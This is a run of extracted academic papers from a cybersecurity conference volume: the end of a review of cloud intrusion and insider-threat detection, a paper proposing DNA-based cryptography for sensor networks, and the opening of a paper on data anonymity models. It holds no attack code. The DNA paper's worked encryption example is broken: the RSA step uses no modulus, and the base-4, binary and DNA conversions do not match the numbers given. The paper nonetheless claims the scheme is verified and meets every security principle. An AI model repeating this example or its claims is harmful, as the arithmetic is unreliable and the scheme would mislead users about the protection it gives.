The security remains the biggest issue in Cloud computing, as Cloud provides
services which are located on a remote location and it is the trust of consumer on
Cloud service providers that their data will be secured. The integrity and confi-
dentiality of the user’s data are at risk as they do not have physical control over the
data [3]. This is because of the fact that the Cloud server is at different location and
client is located at different locations. Therefore, the server cannot be trusted com-
pletely for managing details of users and access rights. The data of user is at risk due
to insider attacks or compromised servers. This can be overcome if the users trust
Cloud service providers to secure and properly manage their data [4]. Due to the fact
that the insiders are very well familiar with the infrastructure, procedures of oper-
ation and terms and conditions of the organization the attack of malicious insiders
are more severe [4]. Insider attacks are done by malicious employees at any location,
i.e., provider’s or user’s. The attacks caused by the insiders have an adverse effect on
the trust of the Cloud user on the provider. Passwords, cryptographic keys, and files
can easily obtained by the malicious insider. These attackers not only damage the
financial value but also the reputation of an organization [4].

3 Intrusion Detection System (IDS)

Intrusion detection is the process of monitoring computers or networks for unau-

thorized entry, activity, or file modification.

3.1 Classification of IDS According to Source of Data [5, 6]

1. Host-based intrusion detection system (HIDS): in which sensors are

responsible for detecting intrusions. Intrusions are found on single host. These
operate on host side and monitors as well as detects malicious activities in
system calls, application logs, etc.
2. Network intrusion detection systems (NIDS): sensors are focused on network
segment only. NIDS monitor the attacks in networks and detect the variation in
the transmissions in the networks.
Review of CIDS and Techniques of Detection of Malicious … 103

3. Distributed intrusion detection systems (DIDS): combine both the types of

sensors. It further has three types: (a) Mobile agent IDS (MA-IDS),
(b) Grid-based IDS (GIDS), and (c) Cloud-based IDS (CIDS).

3.2 Limitations of Various IDSs

HIDS cannot be used as attackers may not leave traces in the operating system of
the host where the IDS are residing. NIDS cannot detect the attack if the com-
munication is encrypted. In clouds, distinct users share various resources. The
attacks can migrate from and be intended for any of the Cloud resources. Thus only
DIDs can be used. But, the challenges in the adoption of the DIDS in Clouds are
(i) Distinct types of users and user requirements; (ii) Complex architecture; and
(iii) Different requirement of security. MA-based IDS are not suitable as
(i) Hierarchical structure poses problem of reliability and scalability, and (ii) Not
flexible to protect from the attacks on IDS itself. GIDS are not suitable as (i) Every
service model (SaaS, IaaS and PaaS) has different set of threats, users, and
requirements; (ii) Clouds are highly scalable; (iii) GIDS solution cannot correlate
the alerts from the different nodes; (iv) Performance and load balancing are needed
more in Clouds than Grid [6].

4 Literature Review

Rule-based learning for the identification of insiders and a solution for the detection
of wrong insider activities have been given by the authors [7]. Some of the threats
identified include insecure shared technology vulnerabilities, application pro-
gramming interfaces, and malicious insiders. When an attack occurs, machine
learning techniques are used to raise an alarm. The seven common activities of the
insiders are (Table 1):
For activity classification purposes, the following machine learning techniques
are used (Table 2).
It has been found by the analysis that decision tree C4.5 and multilayer per-
ception are better for activity classification in Cloud-based environment. The result
of the confusion matrix reveals C4.5 as the best classifier.
Authors in [8] have used technique of multithreading for improving the per-
formance of the IDS. NIDS proposed sensitizes as well as monitors the network
traffic using the sensors. In this model, the Cloud user accesses the remote servers
over the Cloud network. The monitoring and logging of the requests and the actions
of the user are done by a multi-threaded NIDS, which has large data handling
capacity and also reduces the packet loss.
104 P. Oberoi and S. Mittal

Table 1 Common activities of insiders

S. No. Activity
1 No activity
2 Reboot physical machine
3 Malicious insider cloning
4 Malicious insider copying everything from a VM
5 Malicious insider taking snapshots of VM
6 Installing new guest VM on the same physical hardware
7 Turn on any guest VM on to same physical hardware

Table 2 Machine learning techniques

S. No. Technique Basis
1 Naive Bayes Probability-based technique
2 Multilayer Perception Function estimated based technique
3 Support Vector Machine
4 Decision Tree Rule-based technique
5 PART

A combined approach for malware detection and root kit prevention used in [9]
in virtualized Cloud environment. The IDS is intended to execute on VM instances
with a backend Cloud to share out malware scanning operations among numerous
back ends. Flexible, distributed security solution is given with a minimal overall
resource footprint on the end host. The traditional signature checks are performed
for the detection of known as all as the novel malware. An integrity check of
authorized Kernel modules is given which can prevent the installation of root kits
through the corrupted kernel modules. This approach is easy to maintain as only
change is to be made in the kernel of the system. Infrastructural security is focused
not the attacks against VM monitors.
Authors [5] in their research presented a review of various methods and tools
used for detection and prevention of intruders in Cloud computing. Four concepts
for the development of the CIDS identified are (a) automatic computing; (b) on-
cology; (c) risk management; and (d) fuzzy theory. The taxonomy gives two layers
functional layer and structural layer. The requirements identified for CIDPS on the
basis of review are (i) large-scale handling of multi tiered autonomous computing
and data processing environments; (ii) detection of variety of attacks with least
positive rates; (iii) super fast detection and prevention; (iv) self-adaptive automat-
ically; (v) CIDPS Scalability; (vi) deterministic; (vii) synchronization of autono-
mous CIDPS; (viii) resistance to compromise. A Cloud intrusion detection and
prevention system which meets all the requirements is considered to be good one.
Review of CIDS and Techniques of Detection of Malicious … 105

A framework of CIDS is presented in [6], which has a module to review the

alerts and notify the administrator of the Cloud. The features identified are
(i) point-to-point solution which is applicable to various platforms and expandable;
(ii) as there is no central coordinator, so single point of failure is not there;
(iii) distribution of processing to different Cloud locations protects the CIDS from
the threats which can organize a job in the VM and alter its workings if it was
executed in monitored VM; (iv) installing middleware where the framework resides
increases the flexibility and portability; (v) it uses knowledge base combined with
the behavior base which increases attack coverage; (vi) every node has audit system
for monitoring of the messages and logging. It gives the benefit that every node has
the capability to detect the masqueraders. The following three models have been
given as CIDS detection models:
1. Audit Exchange Model (Model A): The nodes Cloud swap over audit data. It
has high detection efficiency and the low survival of the masquerader. Its lim-
itations include need of rapid cyclic updates of audit data at the CNs.
2. Audit Exchange Model with a neural network (Model B): Combines model
A to neural networks. It offers the benefit of less survival of masquerader than
Model A and C. Also the hit rate is high with lower false positive and false
negative alarms than Model A and C. Other than limitations of model A; it has a
limitation of low performance due to overhead to update neural network.
3. The Independent Model (Model C): Every node of Cloud calculates its own
audit data without swapping data with Cloud nodes. The benefits offered are no
need of periodic update and less burden for Cloud network, as no swapping of
data is there. Also there are low processing overheads than model A and C.
Limitations include longer survival of masquerader than model A & B and low
hit rate than model B as neural cannot be used.
The applications of the three proposed models are to be done to find the best one.
Also the summarizer and parser algorithms are to be parallelized in order to reduce
the corresponding overhead.
An Insider threat detection model to detect despiteful insiders has been proposed
in [10]. An observational system to test this possibility was implemented to sustain
the applicability in a SaaS Cloud deployment model. This method uses the
sequential rule mining approach to discover malicious utilization patterns for a
particular profile.
Authors in [11] have given an ICAS (IDS Cloud analysis system). MapReduce
algorithm of Hadoop is used for the analysis of intrusion detection system in log
files. It creates a user-friendly output view in which user can easily and clearly
monitor the behavior of the attack. In experimental study, it has been found that the
calculation speed is increased by 80%. IDP8200, NK7 Admin and Snort logs are
used as ICAS analysis object record in this paper. The main advantage of ICAS is
the scalability and reliability offered by it. ICAS can be improved for the processing
large-scale data.
106 P. Oberoi and S. Mittal

A framework which is an open source solution has been given in [12]. APIs and
interfaces are given which are used in the development of the security components
in a distributed manner and building of customized event correlation rules. The
framework consists of a collection of components which are organized in a hier-
archical manner. The three main components of the framework are probes, agents,
and security engines.
According to the three architectural layers, the security engines are organized in
a hierarchical manner. At the lowest layer, the raw security data collected by the
security engines. It can be offered by the Cloud provider as service which includes
IDSs; Log analyzers; and specific security mechanisms provided by the Cloud
platform. It is the responsibility of the Cloud provider, at the higher level, to enable
additional IDSs and attack them to independent VMs. The provider is able to
recognize the compromised virtual components of the clients by correlating the
information provided by the higher layer with the data collected by the lower layer.
Attack Evaluation Tree (AET) is used to represent the attack in a tree like structure.
The goal of the attacker is the root node while the access path is through the
offsprings.
Authors in the research [13] introduced three concrete MI attacks with a proof of
concept implementation based on existing tools. Three introduced MI attacks in this
paper are: memory scanning, template poisoning, and snapshot cracking.
Authors [14] described the differences between the traditional insider and insider
in the Cloud. The two types of insider threats identified in Cloud computing, viz.,
(a) at the Cloud providers end, and (b) at the Cloud clients end. Both have different
set of problems and area of attacks. The countermeasures of the insider threat in the
Cloud provider are:-At client side: Cryptographic techniques, geo-redundancy are
used; and At provider side: Separation of duties, logging, legal binding, and insider
detection models. The problems in various methods are: (a) IDS/IPS: in IaaS
host-based IDS can be used, (b) Separation of duties: As in Clouds, same person
has multiple roles, it is difficult to implement it in Clouds; (c) Attack origin iden-
tification: (i) In case of Clouds, the access is usually done by some remote com-
puter. So there are no physical evidence for the attack, only digital evidence like IP
etc can be used and (ii) In case of shared credentials, it is difficult to fix the
responsibly; (d) Single point of failure and data leakage: Access to console of
administrator can cause heavy loss of that, that without any sign of intrusion. The
countermeasures of the insider threat in the Cloud outsourcer are (a) At client side:
Log auditing, host-based IDS/IPS are used and (b) At provider side: Anomaly
detection, separation of duties, and multifactor authentication are used.

5 Comparative Study

The various techniques being used for the detection of the intruders revealed by
review are proactive forensics, graph-based analysis, honey pots (based on network
sensors), IDS (based on network sensors), system call analysis (host based user
Review of CIDS and Techniques of Detection of Malicious … 107

profiling), command sequences and windows usage events, file system, memory,
I/O, and hardware monitoring, metrics about user sophistication (Usage Anomalies),
insider threat specification language, knowledge graphs, customized minimal attack
trees, technological, social and educational and psychological parameters [15–21].
Selecting the best one is quite challenging. The characteristics desired in a CIDS
are (i) Scalable and distributed IDS for Clouds without the failure points,
(ii) Combination of Knowledge base and behavior base in order to detect the known
as well as the unknown attacks with reasonable false alarm rates, (iii) Avoid single
point of failure, (iv) the IDS should be protected from the attacks by isolating it,
(v) flexible architecture, (vi) take into consideration various service models and
requirements of user, (vii) dynamic policies as the security needs of each VM are
varied, (viii) reduction in data transfer cost by reducing the network bandwidth,
(ix) easy to adapt.

6 Future Scope

In this paper, we studied the insider attacks in the Cloud-based environments. An

insider can easily attack in the Cloud environment. The effect of the attack is more
severe than the traditional environments. Also the entity that physically performed
the attack is difficult to detect and identify. The literature review has revealed the
fact that in order to secure Cloud environment from the insiders a new insider
prediction and detection models is needed. Also to evade the false estimations and
generate correct user profiling new CIDS is required. Moreover, it appears that there
is an adorning necessity for developing transparent network in Clouds. Also
application intrusion detection systems (IDS) for Clouds are required. These sys-
tems can be given as a service to their clients who want to protect their infras-
tructure which has been outsourced. In future, model for predicting and detecting
insider threats will be developed.

References

1. https://en.wikipedia.org/wiki/Cloud_computing
2. Forrester-2012, Cloud survey. http://www.bmc.com/industryanalysts/reports/forrester-2012-
cloud-survey.html (accessed May 2012)
3. Yusop ZM, Abawajy JH (2014) Analysis of insiders attack mitigation strategies. Procedia Soc
Behav Sci 129:581–591
4. Ren K, Wang C, Wang Q (2012) Security challenges for the public cloud. IEEE Internet
Comput 16(1):69–73. https://doi.org/10.1109/MIC.2012.14
5. Patel A, Taghavi M, Bakhtiyari K, Júnior JC (2013) An intrusion detection and prevention
system in cloud computing: a systematic review. J Netw Comput Appl 36(1):25–41
108 P. Oberoi and S. Mittal

6. Kholidy HA, Baiardi F (2012) CIDS: a framework for intrusion detection in cloud, systems.
In: 2012 ninth international conference on information technology—new Generations,
978-0-7695-4654-4/12 $26.00 © 2012 IEEE
7. Khorshed MT, Ali ABMS, Wasimi SA (2011) Monitoring insiders activities in cloud
computing using rule based learning. In: IEEE 10th international conference on trust, security
and privacy in computing and communications (TrustCom-2011), 16–18 Nov 2011
8. Gul I, Hussain M (2011) Distributed cloud intrusion detection model. Int J Adv Sci Technol
34
9. Schmidt M, Baumgartner L, Graubner P, Bock D, Freisleben B (2011) Malware detection and
kernel rootkit prevention in cloud computing environments. In: 19th Euromicro international
conference on parallel, distributed and network-based processing (PDP-2011), pp 603–610,
9–11 Feb 2011
10. Nkosi L, Tarwireyi P, Adigun M (2013) Insider threat detection model for the cloud.
978-1-4799-0808-0/13/$31.00 ©2013 IEEE
11. Yang S-F, Chen W-Y, Wang Y-T (2011) ICAS: an inter-VM IDS log cloud analysis system.
In: IEEE international conference on cloud computing and intelligence systems (CCIS-2011),
15–17 Sept 2011
12. Ficco M, Tasquier L, Aversa R (2013) Intrusion detection in cloud computing. In: 18th
international conference on P2P, parallel, grid, cloud and internet computing (3PGCIC-2013),
pp 276–283, 28–30 Oct 2013
13. Nguyen M-D, Chau N-T, Jung S, Jung S (2014) A demonstration of malicious insider attacks
inside cloud IaaS vendor. Int J Inf Educ Technol 4(6). https://doi.org/10.7763/ijiet.2014.v4.
455
14. Kandias M, Virvilis N, Gritzalis D (2013) The insider threat in cloud computing. In: Critical
information infrastructure security. Lecture notes in computer science, vol 6983. Springer,
Berlin, pp 93–103
15. Mehmood Y, Habiba U, Muhammad AS, Masood R (2013) Intrusion detection system in
cloud computing: challenges and opportunities. In: 2nd national conference on information
assurance (NCIA), pp 59–66, 978-1-4799-1288-9/13©2013 IEEE
16. Gupta S, Kumar P, Sardana A, Abraham A, A fingerprinting system calls approach for
intrusion detection in cloud environment. In: 4th international conference computational
aspects of social networks (CASoN-2012), published by IEEE, pp 309–314
17. Martinez-Moyano IJ, Rich E, Conrad S, Andersen DF, Stewart TR (2008) A behavioral
theory of insider threat risks: a system dynamics approach. ACM Trans Modeling Comput
Simul 18(2):7.1–7.27
18. Dileep Kumar G, Morarjee K (2014) Insider data theft detection using decoy and user
behavior profile. Int J Res Comput Appl Robot 2(2):51–55. ISSN: 2320-7345. www.ijrcar.in
19. Young WT, Goldberg HG, Memory A, Sartain JF, Senator TE (2013) Use of domain
knowledge to detect insider threats in computer activities. IEEE security and privacy
workshops
20. Wongthai W, Rocha F, Van Moorsel A (2013) Logging solutions to mitigate risks associated
with threats in infrastructure as a service cloud. In: International conference on cloud
computing and big data, pp 163–170
21. Claycomb WR, Nicoll A (2012) Insider threats to cloud computing directions for new
research challenges. In: Proceedings of the 2012 IEEE 36th annual computer software and
applications conference, pp 387–394. IEEE Computer Society, Washington, DC, USA ©2012
Review of CIDS and Techniques of Detection of Malicious … 109

Author Biographies

Ms. Priya Oberoi received her Master’s degree from Maharishi

Dayanad University, Rohtak. Presently, pursuing Ph.D. from
M.M. (Deemed to be University), Mullana, Ambala, Haryana,
India. She is working as Assistant Professor in Department of
Computer Science, D.A.V Centenary College, Faridabad. She
has 10 publications in International/National Journals and
Conferences.

Dr. Sumit Mittal received his Ph.D. degree & Master’s degree
from Department of Computer Science & Applications,
Kurukshetra University, Kurukshetra. Presently, he is working
as Professor & Principal, M.M. Institute of Computer
Technology & Business Management, M.M. (Deemed to be
University), Mullana, Ambala, Haryana, India. He is a life
member of Computer Society of India and member of various
professional societies of India & Abroad. He is also a member of
various academics bodies of M.M. University, Mullana. He has
more than 35 publications in International/National Journals and
Conferences. His research area includes Cloud Computing,
Wireless communication and Distributed Environments.
DNA-Based Cryptography for Security
in Wireless Sensor Networks

Monika Poriye and Shuchita Upadhyaya

Abstract Wireless sensor networks (WSNs) employ tiny nodes which accumulate
information in various applications and security is essential for sensor network
applications, such as military target movement, etc. To impart security and privacy
to tiny sensor nodes is challenging task due to the restricted capabilities of sensor
nodes in terms of computation, communication, memory/storage, and battery
power. This paper proposes DNA-based cryptography with the use of secure socket
layer. It is exploratory research of biological based cryptosystem. As in conven-
tional cryptography public/private key, pair is used for encryption/decryption
process, we herein propose a DNA-based system in which the key pair is generated
with the use of RSA algorithm and shared with SSL protocol. So, this proposed
system resolves some of the problems related with sensor nodes and here we attain
security in three stages, i.e., information security, computation security, and bio-
logical security.

Keywords DNA
Cryptology
Digital certificate
Biological cryptosystem

1 Introduction

Security of data is the most significant concern over the last few decades.
Cryptography is one such technique widely manifested in an array of security
system. It is a promising approach toward security of data transmission over public
networks by encrypting the original data or messages. Cryptography has a close
relation to the disciplines of cryptology and cryptanalysis, which gives the hiding
text so that data cannot be read or modified by intruder. However, as security is the
main concern in every type of networks thus cryptography is usually associated
with disorganizing the original information (plaintext) into hiding information

M. Poriye (&)
S. Upadhyaya

Department of Computer Science and Applications,
Kurukshetra University, Kurukshetra 136119, Haryana, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 111

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_12
112 M. Poriye and S. Upadhyaya

(ciphertext) and then the complete process is reversed for getting the original
information. The whole task is done by cryptographer [1, 2]. In wireless sensor
networks, sensor nodes are associated with many problems like small storage
capacity, low battery power, etc., and are also prone to various undesirable attacks.
As many sensor networks are assigned crucial tasks such as in military applications,
etc. Thus, security becomes the main issue that requires the consideration at the
time of designing the sensor networks [3–6]. So a new emerging technique, i.e.,
DNA computing (Biological Computing) has profound applications toward
decoding the problem related with sensor nodes. In the past decade, DNA com-
puting has gained prominence, particularly in developing sustainable medium for
large-scale computation system [7]. The pioneering and revolutionary work on the
implementing DNA concept is in the solutions of applications like cryptography,
clustering, scheduling, forecasting, and even trying to apply this in signal and image
processing application. In this context, L. Adleman decoded the complex compu-
tational problem in the year of 1994 [8]. He reported a simple and straightforward
result that DNA has high storage and computational capability. This convergent and
versatile method presents broad substrate scope and excellent functionality toler-
ance as a result of which using DNA computing tries to solve the problem related
with sensor nodes. However, many DNA algorithms have also been proposed and
still the research is going on [9, 10]. Here, in this paper, DNA-based algorithm has
been proposed by using the concept of SSL. SSL is secure socket layer protocol
used for sharing the public key and digital certificates between the sensor nodes,
and for key generation, RSA algorithm is used which is very secure algorithm as the
key pair is generated with the help of two randomly selected prime numbers. Thus,
the problem with sensor nodes is anticipated to be solved in some sense.
In this paper, Sect. 2 provides a brief overview of DNA concept, Sect. 3
describes the proposed work, Sect. 4 gives an illustration with example of proposed
work and in Sect. 5 an analytical review is done considering the different aspects of
security.

2 Components of DNA

DNA is known as deoxyribonucleic acid which provides heritable information of all

living things. A DNA molecule has four types of nucleotides (or Bases) which lies
on two antiparallel DNA strands. These molecules are adenine (A), guanine (G),
thymine (T), and cytosine (C). The double-helix structure of DNA was first dis-
covered by Watson and Crick. It is basically the greatest scientific discovery in
twentieth century and places an origination of current biological research [11].
Figure 1 shows the simple structure of DNA [12].
DNA-Based Cryptography for Security … 113

Fig. 1 DNA structure

3 Proposed Work

The proposed algorithm is specified in the following three sections.

3.1 Key Generation and Distribution

In the proposed work, RSA system is used for key generation. RSA is one of the
first practical public-key cryptosystems and is widely used for secure communi-
cation. In RSA, the encryption key is public and differs from the decryption key
which is kept secret [13, 14]. In RSA, the key pair is generated with the help of two
prime numbers which are randomly selected.
SSL protocol is used for key sharing. SSL is secure socket layer protocol which
is basically used for securely exchanging the keys and digital certificate between
two sensor nodes [15, 16]. Thus, this protocol provides the functionality of con-
fidentiality and authenticity.
114 M. Poriye and S. Upadhyaya

3.2 Encryption

1. If two sensor nodes A and B want to communicate to each other then they
should have key pairs (public key and private key). The private key will be with
the sensor node. The sharing of public key among the nodes will be through
SSL.
2. Encryption Process: if node A sends a message to node B then first that par-
ticular message is converted into ASCII values. After that these ASCII values
are encrypted using public key of node B (which is shared by using SSL). Then
convert the encrypted message (mini cipher) to base-4 equivalent which is in the
form of 0, 1, 2, and 3. The next process is getting binary data from previous
values and finally converting these binary values into DNA base equivalent.
Table 1 shows the binary equivalent of nucleotide bases as taken in the
encryption process.

3.3 Authentication and Confirmation

Both node A and node B authenticate each other by means of digital certificate
which are being assigned to every node before deploying in any environment. The
digital certificate is shared by both nodes A and B with secure socket layer protocol.
Thus, both sensor nodes confirm each other’s identity that they are not any
adversary.

4 Illustration Through Example

1. First select the encryption/decryption key pair using RSA algorithm. These keys
are generated using two prime numbers that must be randomly selected.
2. Table 2 shows the encryption process.
To recover the original data, the intended recipient uses its private key and the
rest of the process is just reversed of the encryption. Thus, the description can be

Table 1 Binary values of Nucleotide bases Binary values

nucleotide bases
A 00
C 01
G 10
T 11
DNA-Based Cryptography for Security … 115

Table 2 Encryption process

Plain text (PT) P
ASCII value of PT 80
Encrypt with public key of sensor node which is 7 (generating by using 20971520000000
RSA) for getting mini cipher, i.e., CT1
Convert CT1 into base 4 equivalent 1103302320020
Binary form 00010001000000
1100110000001
0001100100000
000000100000
Convert above binary form into DNA bases ACACAAATA
TAAAGATAG
AAAAAGAA

done successfully. The proposed algorithm was implemented in Java for both
encryption and decryption process and the correctness of the proposed procedure
was verified.

5 Analytical Review W.R.T. Various Security Aspects

Level of Security: In our proposed system, security has been achieved in the form
of information security (accomplished by RSA), computation security (in form of
binary data), and biological security (as DNA bases).
Security against attacks: Security is the main issue in wireless sensor networks
because of many attacks. Thus for getting the security, the seven security principles
[17, 18] should be abided by any network. Our proposed system promotes all these
seven security principles:
1. Confidentiality: It specifies that only sender and intended receiver can access the
original message. This is achieved by our proposed system as the public key is
shared via the secure socket layer. Thus, the encrypted message by public key of
another node (in terms of mini cipher) is completely secure. So the interception
attack is not possible here (Fig. 2).
2. Authentication: It helps to establish the proof of identities. By sharing of digital
certificate between sensor nodes no adversary node can pose the other node’s
identity. In the Fig. 3, node C (adversary node) sends a message to node B
posing as node A. This type of attack is fabrication which cannot be possible in
our system.
3. Integrity: Content of message cannot be manipulated before it reaches the
intended recipient. As our DNA cryptosystem acquires security in three stages.
So there is no chance of modification attack by any adversary node C (Fig. 4).
4. Non-repudiation: There may be the situation that node A sends a message to
node B and later on refuses that message is not sent by it. This situation cannot
116 M. Poriye and S. Upadhyaya

Fig. 2 Confidentiality

Fig. 3 Authentication

Fig. 4 Integrity

happen in our designed DNA cryptosystem because every node is having the
digital certificate of every other node. Thus, no one can deny something after
having done it (Fig. 5).
DNA-Based Cryptography for Security … 117

Fig. 5 Non-repudiation

5. Access Control, Availability and Signature: Access control means who can
access what. Because the two nodes verify their identities via SSL, they may not
be able to access any information without each other’s permission.
Node C may try to interrupt the two nodes A and B by some intentional action
but here it cannot be possible because node C should have their digital certificate to
make a connection with node B. So interruption attack is not possible.

6 Conclusion

In this paper, a peculiar method of implementation of cryptography using the

concept of biological DNA has been proposed. Here, the procedure of encryption/
decryption is done with help of RSA algorithm (for key generation) and the process
of confirmation/authentication is done by SSL protocol (for public key sharing). In
the conventional system of asymmetric cryptology, the key generation and distri-
bution are done after the deployment of sensor nodes which consume lots of energy
of sensor nodes for computation of keys and generation of digital certificate as they
have limited storage capacity and less power. However, in the proposed
DNA-based cryptography, keys and digital certificates are distributed before
deployment of the sensor nodes in any network which saves innumerous energy of
sensor nodes. The proposed algorithm was implemented in Java and the results
were verified with the presented example.

References

1. Devi TR (2013) Importance of Cryptography in Network Security. In: 2013 international

conference on communication systems and network technologies (CSNT), 6–8 April, pp 462–
467. https://doi.org/10.1109/csnt.2013.102
2. Diffie W, Hellman ME (1976) New directions in cryptography. IEEE Trans Inf Theory
22:644–654
3. Wang Y, Attebury G, Ramamurthy B (2006) A survey of security issues in wireless sensor
networks. In: IEEE communication surveys 2nd quarter 8, pp 2–23. https://doi.org/10.1109/
comst.2006.315852
118 M. Poriye and S. Upadhyaya

4. Akyildiz IF, Su W, Sankarasubramaniam Y, Cayirci E (2012) A survey on sensor networks.

IEEE Commun Mag 40:102–114. https://doi.org/10.1109/MCOM.2002.1024422
5. Chen X, Makki K, Yen K, Pissinou NS (2009) Sensor network security: a survey. IEEE
Commun Surv Tutor 11:52–73. https://doi.org/10.1109/SURV.2009.090205
6. Patel MM, Aggarwal A (2013) Security attacks in wireless sensor networks: a survey. In:
IEEE intelligent systems and signal processing (ISSP), Gujarat, India, 1–2 Mar 2013, pp 329–
333. https://doi.org/10.1109/issp.2013.6526929
7. Pramanik S, Setua SK (2012) DNA cryptography. In: 7th international conference on
electrical and computer engineering Dhaka, Bangladesh, 20–22 Dec 2012, pp 551–554.
https://doi.org/10.1109/icece.2012.6471609
8. Adleman LM (1994) Molecular computation of solutions to combinatorial problems. Science
266:1021–1025. https://doi.org/10.1126/science.7973651
9. Rivest RL, Shamir A, Adleman LM (1978) A method for obtaining digital signatures and
public-key cryptosystems. Commun ACM 21:120–126. https://doi.org/10.1145/359340.
359342
10. Cui G, Qin L, Wang Y, Zhang X (2008) An encryption scheme using DNA technology. In:
IEEE bio-inspired computing: theories and applications, Adelaide, SA, Sept 28–Oct 1 2008,
pp 37–42. https://doi.org/10.1109/bicta.2008.4656701
11. Wang X, Zhang Q (2009) DNA computing-based cryptography. In: Fourth international
conference on bio-inspired computing, BIC-TA’09, pp 1–3. https://doi.org/10.1109/bicta.
2009.5338153
12. http://keltoncheyennepowell.weebly.com/stucture-of-dna.html (DNA structure)
13. Zhou X, Tang X (2011) Research and implementation of RSA algorithm for encryption and
decryption. In: 2011 6th international forum on strategic technology (IFOST), pp 1118–1121.
https://doi.org/10.1109/ifost.2011.6021216
14. https://en.wikipedia.org/wiki/RSA_(cryptosystem)
15. Zhao L, Iyer R, Makineni S, Bhuyan L (2005) Anatomy performance of SSL. In: IEEE
international symposium on processing in performance analysis of systems and software
ISPASS 2005, pp 197–206. https://doi.org/10.1109/ispass.2005.1430574
16. Lee HK, Malkin T, Nahum E (2007) Cryptographic strength of SSL/TLS servers: current and
recent practices. In: IMC’07, San Diego, California, USA, 24–26 Oct 2007
17. Kahate A (2014) Cryptography techniques. Cryptography and network security (3rd edn).
McGraw Hill Education (India) Private Limited, New Delhi, India, pp 8–12
18. Monika (2015) A comparative study on modern cryptography and DNA cryptography. In:
National conference on emerging computing technologies and ICT for development, 2015
Privacy Preservation Using Various
Anonymity Models

Deepak Narula, Pardeep Kumar and Shuchita Upadhyaya

Abstract Need of collection and sharing of data is increasing day by day as it is

the requirement of today’s society. While publishing data, one has to guarantee that
sensitive information should be made secret so that no one is able to misuse it. For
this purpose, one can use various methods and techniques of anonymization.
A number of recent researchers are focusing on proposing different anonymity
algorithms and techniques to keep published data secret. In this paper, a review of
various methods of anonymity with different anonymity operators and various types
of linkage attacks has been done. An analysis of the performance of various
anonymity algorithms on the basis of various parameters on different data sets using
ARX data anonymity software has been done in the end.

Keywords Generalization
k-Anonymity
l-Diversity
Suppression

1 Introduction

Data mining is a process of determining useful, unknown information and to

summarize it for different purposes. As in today’s environment, both government
and private sector are publishing information so that better information will be
provided for social and human progress. Therefore, most of the information is
easily available. Although the information is provided for good cause, yet attackers
link the available data from different data sets. By using their background details,
the sensitive information can be deduced by the attackers, thus affecting the society.
According to the study, approximately 87% population in the US can be identified
uniquely by the data set which is published by the government of US [1]. Thus to
protect such sort of leakage of data, the process of data anonymization is used. The
basic aim of privacy preservation techniques is to reduce the leakage of data about

D. Narula (&)
P. Kumar
S. Upadhyaya

Department of Computer Science and Applications,
Kurukshetra University, Kurukshetra 136119, Haryana, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 119

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_13
120 D. Narula et al.

the particular record while publishing data. A lot of work has been done on data
anonymization technique in recent years. The aim of these techniques is to allow
retrieval of useful information from huge available data while protecting sensitive
information.
The prime aim of adversary is to obtain the information about sensitive attribute
that can be determined by linking various attributes of relation with each other in
the published data [2]. In a relation, there are a variety of attributes which are
classified as key attribute, quasi-attribute, sensitive attribute, and insensitive
attribute.
Key attributes which are meant for unique identification of records and these
attributes are generally removed while publishing the information. Examples of key
attributes are roll no, name, phone no, etc.
Quasi-attributes are those which are used for linkage of anonymized data set
with the aim to reach to sensitive information, e.g., birth date, age, gender, zip code,
etc.
Sensitive attributes are those which need not be disclosed, and the aim of an
attacker is to determine these, e.g., disease of person, salary, etc.
Insensitive attributes are those which can never be useful for attacker.
Any anonymization technique removes identifiers for the data set and aim is to
produce anonymized data set. The present techniques and methods restrict sensitive
information in published data but result in huge information loss or data distortion
that affects the efficiency of data mining process.
Meanwhile, method development for data publication is utmost important; thus,
the generated data remains useful, and sensitive information will be kept secret. The
emphasis of this paper is on various privacy-preserving models, anonymity oper-
ation, etc.

2 Related Works

Evolution of various methods for secrecy of sensitive data is the main intent of
privacy-preserving data publishing. In past years, research communities worked on
these issues and have proposed various approaches. There are various operations
which are applied to the data sets to make data anonymized. The operators which
are frequently used for the purpose of anonymization are operation of generaliza-
tion, suppression, perturbation, etc. The model for data anonymization uses these
approaches, and the idea of algorithm for anonymization is based on specific
anonymity operations.
1. Generalization is a process of substituting the substantive value against less
specific but semantically consistent value. It is achieved using the purpose of
hierarchy tree and associated with attribute of category quasi-identifiers. In
Fig. 1a the nodes PGT, TGT, or PRT are more specific as compared with node
Privacy Preservation Using Various Anonymity Models 121

teaching, whereas it can be seen the node School Employee is at the top of
hierarchal level with highest level of generalization.
The reverse process of generalization is called specification. Typically there are
five types of generalization with difference in their scope: Full-domain gener-
alization, subtree generalization, sibling generalization, cell generalization, and
multidimensional generalization.
Full-domain generalization: This type of operation has the rarest search area
among all rather it leads to highest data distortion. The basic idea behind this
approach is to generate all attribute values to a common level of certain hier-
archy [3] (e.g., Fig. 1a); if PGT, TGT generalized to teaching, then other
attributes such as clerk, peon, etc., are also to be generalized to nonteaching.
Subtree generalization is smaller in boundary than the above said. In this, all
nodes rooted at intermediate level are generalized to same level or none are
generalized [4, 5], for example. If PGT which is at the lowest level of hierarchy
is to be generalized to teaching, then any of its siblings, i.e., TGT or PRT, are
also to be generalized, whereas other nodes at the same level will not be
changed to their generalized level.
Sibling generalization: The boundary of this process is smaller than
full-domain and sub-tree generalization. In this, among all intermediate nodes,
some are to be generalized whereas nodes from rest set remain unchanged [3],
e.g., PGT is generalized to teaching whereas other TGT remains unchanged.
Commonly, in process of global recording, if one of the values of the root level
is generalized, the rest will also be generalized.
Cell generalization: This approach is a little bit different as compared to other
generalization techniques as this is meant only for a single record. In this

Fig. 1 a Example of (a) School Employee

generalization using hierarchy
tree. b Example of
generalization using hierarchy
tree

Teaching Non Teaching

PGT TGT PRT Clerk Accountant Peon

(b) Person

M F
